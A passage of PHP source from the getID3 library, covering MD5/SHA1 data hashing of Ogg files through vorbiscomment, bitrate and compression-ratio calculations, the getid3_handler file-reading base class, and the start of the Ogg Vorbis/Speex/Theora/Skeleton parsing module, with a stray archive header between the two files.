identical md5_data value for Ogg files where the comments // span more than 1 Ogg page (compared to the same audio data with smaller // comments) using the normal getID3() method of MD5'ing the data between the // end of the comments and the end of the file (minus any trailing tags), // because the page sequence numbers of the pages that the audio data is on // do not match. Under normal circumstances, where comments are smaller than // the nominal 4-8kB page size, then this is not a problem, but if there are // very large comments, the only way around it is to strip off the comment // tags with vorbiscomment and MD5 that file. // This procedure must be applied to ALL Ogg files, not just the ones with // comments larger than 1 page, because the below method simply MD5's the // whole file with the comments stripped, not just the portion after the // comments block (which is the standard getID3() method. // The above-mentioned problem of comments spanning multiple pages and changing // page sequence numbers likely happens for OggSpeex and OggFLAC as well, but // currently vorbiscomment only works on OggVorbis files. // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.safe_modeDeprecatedRemoved if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { $this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)'); $this->info[$algorithm.'_data'] = false; } else { // Prevent user from aborting script $old_abort = ignore_user_abort(true); // Create empty file $empty = tempnam(GETID3_TEMP_DIR, 'getID3'); touch($empty); // Use vorbiscomment to make temp file without comments $temp = tempnam(GETID3_TEMP_DIR, 'getID3'); $file = $this->info['filenamepath']; if (GETID3_OS_ISWINDOWS) { if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { $commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"'; $VorbisCommentError = `$commandline`; } else { $VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; } } else { $commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1'; $VorbisCommentError = `$commandline`; } if (!empty($VorbisCommentError)) { $this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError); $this->info[$algorithm.'_data'] = false; } else { // Get hash of newly created file switch ($algorithm) { case 'md5': $this->info[$algorithm.'_data'] = md5_file($temp); break; case 'sha1': $this->info[$algorithm.'_data'] = sha1_file($temp); break; } } // Clean up unlink($empty); unlink($temp); // Reset abort setting ignore_user_abort($old_abort); } } else { if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) { // get hash from part of file $this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm); } else { // get hash from whole file switch ($algorithm) { case 'md5': $this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']); break; case 'sha1': $this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']); break; } } } return true; } public function ChannelsBitratePlaytimeCalculations() { // set channelmode on audio if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) { // ignore } elseif ($this->info['audio']['channels'] == 1) { $this->info['audio']['channelmode'] = 'mono'; } elseif ($this->info['audio']['channels'] == 2) { $this->info['audio']['channelmode'] = 'stereo'; } // Calculate combined bitrate - audio + video $CombinedBitrate = 0; $CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0); $CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0); if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) { $this->info['bitrate'] = $CombinedBitrate; } //if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) { // // for example, VBR MPEG video files cannot determine video bitrate: // // should not set overall bitrate and playtime from audio bitrate only // unset($this->info['bitrate']); //} // video bitrate undetermined, but calculable if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) { // if video bitrate not set if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) { // AND if audio bitrate is set to same as overall bitrate if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) { // AND if playtime is set if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) { // AND if AV data offset start/end is known // THEN we can calculate the video bitrate $this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']); $this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate']; } } } } if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) { $this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate']; } if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) { $this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']; } if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) { if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) { // audio only $this->info['audio']['bitrate'] = $this->info['bitrate']; } elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) { // video only $this->info['video']['bitrate'] = $this->info['bitrate']; } } // Set playtime string if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) { $this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']); } } /** * @return bool */ public function CalculateCompressionRatioVideo() { if (empty($this->info['video'])) { return false; } if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) { return false; } if (empty($this->info['video']['bits_per_sample'])) { return false; } switch ($this->info['video']['dataformat']) { case 'bmp': case 'gif': case 'jpeg': case 'jpg': case 'png': case 'tiff': $FrameRate = 1; $PlaytimeSeconds = 1; $BitrateCompressed = $this->info['filesize'] * 8; break; default: if (!empty($this->info['video']['frame_rate'])) { $FrameRate = $this->info['video']['frame_rate']; } else { return false; } if (!empty($this->info['playtime_seconds'])) { $PlaytimeSeconds = $this->info['playtime_seconds']; } else { return false; } if (!empty($this->info['video']['bitrate'])) { $BitrateCompressed = $this->info['video']['bitrate']; } else { return false; } break; } $BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate; $this->info['video']['compression_ratio'] = getid3_lib::SafeDiv($BitrateCompressed, $BitrateUncompressed, 1); return true; } /** * @return bool */ public function CalculateCompressionRatioAudio() { if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) { return false; } $this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16)); if (!empty($this->info['audio']['streams'])) { foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) { if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) { $this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16)); } } } return true; } /** * @return bool */ public function CalculateReplayGain() { if (isset($this->info['replay_gain'])) { if (!isset($this->info['replay_gain']['reference_volume'])) { $this->info['replay_gain']['reference_volume'] = 89.0; } if (isset($this->info['replay_gain']['track']['adjustment'])) { $this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment']; } if (isset($this->info['replay_gain']['album']['adjustment'])) { $this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment']; } if (isset($this->info['replay_gain']['track']['peak'])) { $this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']); } if (isset($this->info['replay_gain']['album']['peak'])) { $this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']); } } return true; } /** * @return bool */ public function ProcessAudioStreams() { if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) { if (!isset($this->info['audio']['streams'])) { foreach ($this->info['audio'] as $key => $value) { if ($key != 'streams') { $this->info['audio']['streams'][0][$key] = $value; } } } } return true; } /** * @return string|bool */ public function getid3_tempnam() { return tempnam($this->tempdir, 'gI3'); } /** * @param string $name * * @return bool * * @throws getid3_exception */ public function include_module($name) { //if (!file_exists($this->include_path.'module.'.$name.'.php')) { if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) { throw new getid3_exception('Required module.'.$name.'.php is missing.'); } include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php'); return true; } /** * @param string $filename * * @return bool */ public static function is_writable ($filename) { $ret = is_writable($filename); if (!$ret) { $perms = fileperms($filename); $ret = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002); } return $ret; } } abstract class getid3_handler { /** * @var getID3 */ protected $getid3; // pointer /** * Analyzing filepointer or string. * * @var bool */ protected $data_string_flag = false; /** * String to analyze. * * @var string */ protected $data_string = ''; /** * Seek position in string. * * @var int */ protected $data_string_position = 0; /** * String length. * * @var int */ protected $data_string_length = 0; /** * @var string */ private $dependency_to; /** * getid3_handler constructor. * * @param getID3 $getid3 * @param string $call_module */ public function __construct(getID3 $getid3, $call_module=null) { $this->getid3 = $getid3; if ($call_module) { $this->dependency_to = str_replace('getid3_', '', $call_module); } } /** * Analyze from file pointer. * * @return bool */ abstract public function Analyze(); /** * Analyze from string instead. * * @param string $string */ public function AnalyzeString($string) { // Enter string mode $this->setStringMode($string); // Save info $saved_avdataoffset = $this->getid3->info['avdataoffset']; $saved_avdataend = $this->getid3->info['avdataend']; $saved_filesize = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call // Reset some info $this->getid3->info['avdataoffset'] = 0; $this->getid3->info['avdataend'] = $this->getid3->info['filesize'] = $this->data_string_length; // Analyze $this->Analyze(); // Restore some info $this->getid3->info['avdataoffset'] = $saved_avdataoffset; $this->getid3->info['avdataend'] = $saved_avdataend; $this->getid3->info['filesize'] = $saved_filesize; // Exit string mode $this->data_string_flag = false; } /** * @param string $string */ public function setStringMode($string) { $this->data_string_flag = true; $this->data_string = $string; $this->data_string_length = strlen($string); } /** * @phpstan-impure * * @return int|bool */ protected function ftell() { if ($this->data_string_flag) { return $this->data_string_position; } return ftell($this->getid3->fp); } /** * @param int $bytes * * @phpstan-impure * * @return string|false * * @throws getid3_exception */ protected function fread($bytes) { if ($this->data_string_flag) { $this->data_string_position += $bytes; return substr($this->data_string, $this->data_string_position - $bytes, $bytes); } if ($bytes == 0) { return ''; } elseif ($bytes < 0) { throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().')', 10); } $pos = $this->ftell() + $bytes; if (!getid3_lib::intValueSupported($pos)) { throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10); } //return fread($this->getid3->fp, $bytes); /* * https://www.getid3.org/phpBB3/viewtopic.php?t=1930 * "I found out that the root cause for the problem was how getID3 uses the PHP system function fread(). * It seems to assume that fread() would always return as many bytes as were requested. * However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes. * The call may return only part of the requested data and a new call is needed to get more." */ $contents = ''; do { //if (($this->getid3->memory_limit > 0) && ($bytes > $this->getid3->memory_limit)) { if (($this->getid3->memory_limit > 0) && (($bytes / $this->getid3->memory_limit) > 0.99)) { // enable a more-fuzzy match to prevent close misses generating errors like "PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 33554464 bytes)" throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') that is more than available PHP memory ('.$this->getid3->memory_limit.')', 10); } $part = fread($this->getid3->fp, $bytes); $partLength = strlen($part); $bytes -= $partLength; $contents .= $part; } while (($bytes > 0) && ($partLength > 0)); return $contents; } /** * @param int $bytes * @param int $whence * * @phpstan-impure * * @return int * * @throws getid3_exception */ protected function fseek($bytes, $whence=SEEK_SET) { if ($this->data_string_flag) { switch ($whence) { case SEEK_SET: $this->data_string_position = $bytes; break; case SEEK_CUR: $this->data_string_position += $bytes; break; case SEEK_END: $this->data_string_position = $this->data_string_length + $bytes; break; } return 0; // fseek returns 0 on success } $pos = $bytes; if ($whence == SEEK_CUR) { $pos = $this->ftell() + $bytes; } elseif ($whence == SEEK_END) { $pos = $this->getid3->info['filesize'] + $bytes; } if (!getid3_lib::intValueSupported($pos)) { throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10); } // https://github.com/JamesHeinrich/getID3/issues/327 $result = fseek($this->getid3->fp, $bytes, $whence); if ($result !== 0) { // fseek returns 0 on success throw new getid3_exception('cannot fseek('.$pos.'). resource/stream does not appear to support seeking', 10); } return $result; } /** * @phpstan-impure * * @return string|false * * @throws getid3_exception */ protected function fgets() { // must be able to handle CR/LF/CRLF but not read more than one lineend $buffer = ''; // final string we will return $prevchar = ''; // save previously-read character for end-of-line checking if ($this->data_string_flag) { while (true) { $thischar = substr($this->data_string, $this->data_string_position++, 1); if (($prevchar == "\r") && ($thischar != "\n")) { // read one byte too many, back up $this->data_string_position--; break; } $buffer .= $thischar; if ($thischar == "\n") { break; } if ($this->data_string_position >= $this->data_string_length) { // EOF break; } $prevchar = $thischar; } } else { // Ideally we would just use PHP's fgets() function, however... // it does not behave consistently with regards to mixed line endings, may be system-dependent // and breaks entirely when given a file with mixed \r vs \n vs \r\n line endings (e.g. some PDFs) //return fgets($this->getid3->fp); while (true) { $thischar = fgetc($this->getid3->fp); if (($prevchar == "\r") && ($thischar != "\n")) { // read one byte too many, back up fseek($this->getid3->fp, -1, SEEK_CUR); break; } $buffer .= $thischar; if ($thischar == "\n") { break; } if (feof($this->getid3->fp)) { break; } $prevchar = $thischar; } } return $buffer; } /** * @phpstan-impure * * @return bool */ protected function feof() { if ($this->data_string_flag) { return $this->data_string_position >= $this->data_string_length; } return feof($this->getid3->fp); } /** * @param string $module * * @return bool */ final protected function isDependencyFor($module) { return $this->dependency_to == $module; } /** * @param string $text * * @return bool */ protected function error($text) { $this->getid3->info['error'][] = $text; return false; } /** * @param string $text * * @return bool */ protected function warning($text) { return $this->getid3->warning($text); } /** * @param string $text */ protected function notice($text) { // does nothing for now } /** * @param string $name * @param int $offset * @param int $length * @param string $image_mime * * @return string|null * * @throws Exception * @throws getid3_exception */ public function saveAttachment($name, $offset, $length, $image_mime=null) { $fp_dest = null; $dest = null; try { // do not extract at all if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) { $attachment = null; // do not set any // extract to return array } elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) { $this->fseek($offset); $attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory if ($attachment === false || strlen($attachment) != $length) { throw new Exception('failed to read attachment data'); } // assume directory path is given } else { // set up destination path $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); if (!is_dir($dir) || !getID3::is_writable($dir)) { // check supplied directory throw new Exception('supplied path ('.$dir.') does not exist, or is not writable'); } $dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : ''); // create dest file if (($fp_dest = fopen($dest, 'wb')) == false) { throw new Exception('failed to create file '.$dest); } // copy data $this->fseek($offset); $buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size()); $bytesleft = $length; while ($bytesleft > 0) { if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) { throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space'); } $bytesleft -= $byteswritten; } fclose($fp_dest); $attachment = $dest; } } catch (Exception $e) { // close and remove dest file if created if (isset($fp_dest) && is_resource($fp_dest)) { fclose($fp_dest); } if (isset($dest) && file_exists($dest)) { unlink($dest); } // do not set any is case of error $attachment = null; $this->warning('Failed to extract attachment '.$name.': '.$e->getMessage()); } // seek to the end of attachment $this->fseek($offset + $length); return $attachment; } } class getid3_exception extends Exception { public $message; } PKm"[ ~module.audio.ogg.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.ogg.php // // module for analyzing Ogg Vorbis, OggFLAC and Speex files // // dependencies: module.audio.flac.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true); class getid3_ogg extends getid3_handler { /** * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html * * @return bool */ public function Analyze() { $info = &$this->getid3->info; $info['fileformat'] = 'ogg'; // Warn about illegal tags - only vorbiscomments are allowed if (isset($info['id3v2'])) { $this->warning('Illegal ID3v2 tag present.'); } if (isset($info['id3v1'])) { $this->warning('Illegal ID3v1 tag present.'); } if (isset($info['ape'])) { $this->warning('Illegal APE tag present.'); } // Page 1 - Stream Header $this->fseek($info['avdataoffset']); $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; if ($this->ftell() >= $this->getid3->fread_buffer_size()) { $this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)'); unset($info['fileformat']); unset($info['ogg']); return false; } $filedata = $this->fread($oggpageinfo['page_length']); $filedataoffset = 0; if (substr($filedata, 0, 4) == 'fLaC') { $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; } elseif (substr($filedata, 1, 6) == 'vorbis') { $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); } elseif (substr($filedata, 0, 8) == 'OpusHead') { if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) { return false; } } elseif (substr($filedata, 0, 8) == 'Speex ') { // http://www.speex.org/manual/node10.html $info['audio']['dataformat'] = 'speex'; $info['mime_type'] = 'audio/speex'; $info['audio']['bitrate_mode'] = 'abr'; $info['audio']['lossless'] = false; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex ' $filedataoffset += 8; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version'] = substr($filedata, $filedataoffset, 20); $filedataoffset += 20; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']); $info['speex']['sample_rate'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']; $info['speex']['channels'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']; $info['speex']['vbr'] = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']; $info['speex']['band_type'] = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']); $info['audio']['sample_rate'] = $info['speex']['sample_rate']; $info['audio']['channels'] = $info['speex']['channels']; if ($info['speex']['vbr']) { $info['audio']['bitrate_mode'] = 'vbr'; } } elseif (substr($filedata, 0, 7) == "\x80".'theora') { // http://www.theora.org/doc/Theora.pdf (section 6.2) $info['ogg']['pageheader']['theora']['theora_magic'] = substr($filedata, $filedataoffset, 7); // hard-coded to "\x80.'theora' $filedataoffset += 7; $info['ogg']['pageheader']['theora']['version_major'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['version_minor'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['version_revision'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['frame_width_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['resolution_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['resolution_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['picture_offset_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['picture_offset_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['frame_rate_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader']['theora']['frame_rate_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['color_space_id'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['nominal_bitrate'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['flags'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['quality'] = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10; $info['ogg']['pageheader']['theora']['kfg_shift'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >> 5; $info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >> 3; $info['ogg']['pageheader']['theora']['reserved'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >> 0; // should be 0 $info['ogg']['pageheader']['theora']['color_space'] = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']); $info['ogg']['pageheader']['theora']['pixel_format'] = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']); $info['video']['dataformat'] = 'theora'; $info['mime_type'] = 'video/ogg'; //$info['audio']['bitrate_mode'] = 'abr'; //$info['audio']['lossless'] = false; $info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x']; $info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y']; if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) { $info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator']; } if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) { $info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator']; } $this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable'); } elseif (substr($filedata, 0, 8) == "fishead\x00") { // Ogg Skeleton version 3.0 Format Specification // http://xiph.org/ogg/doc/skeleton.html $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['version_major'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['skeleton']['fishead']['raw']['version_minor'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['utc'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20)); $filedataoffset += 20; $info['ogg']['skeleton']['fishead']['version'] = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor']; $info['ogg']['skeleton']['fishead']['presentationtime'] = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'], $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']); $info['ogg']['skeleton']['fishead']['basetime'] = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'], $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']); $info['ogg']['skeleton']['fishead']['utc'] = $info['ogg']['skeleton']['fishead']['raw']['utc']; $counter = 0; do { $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo; $filedata = $this->fread($oggpageinfo['page_length']); $this->fseek($oggpageinfo['page_end_offset']); if (substr($filedata, 0, 8) == "fisbone\x00") { $filedataoffset = 8; $info['ogg']['skeleton']['fisbone']['raw']['message_header_offset'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['serial_number'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['number_header_packets'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['basegranule'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['preroll'] = getid3_lib::LittleEndian2Int(substr($filedata, 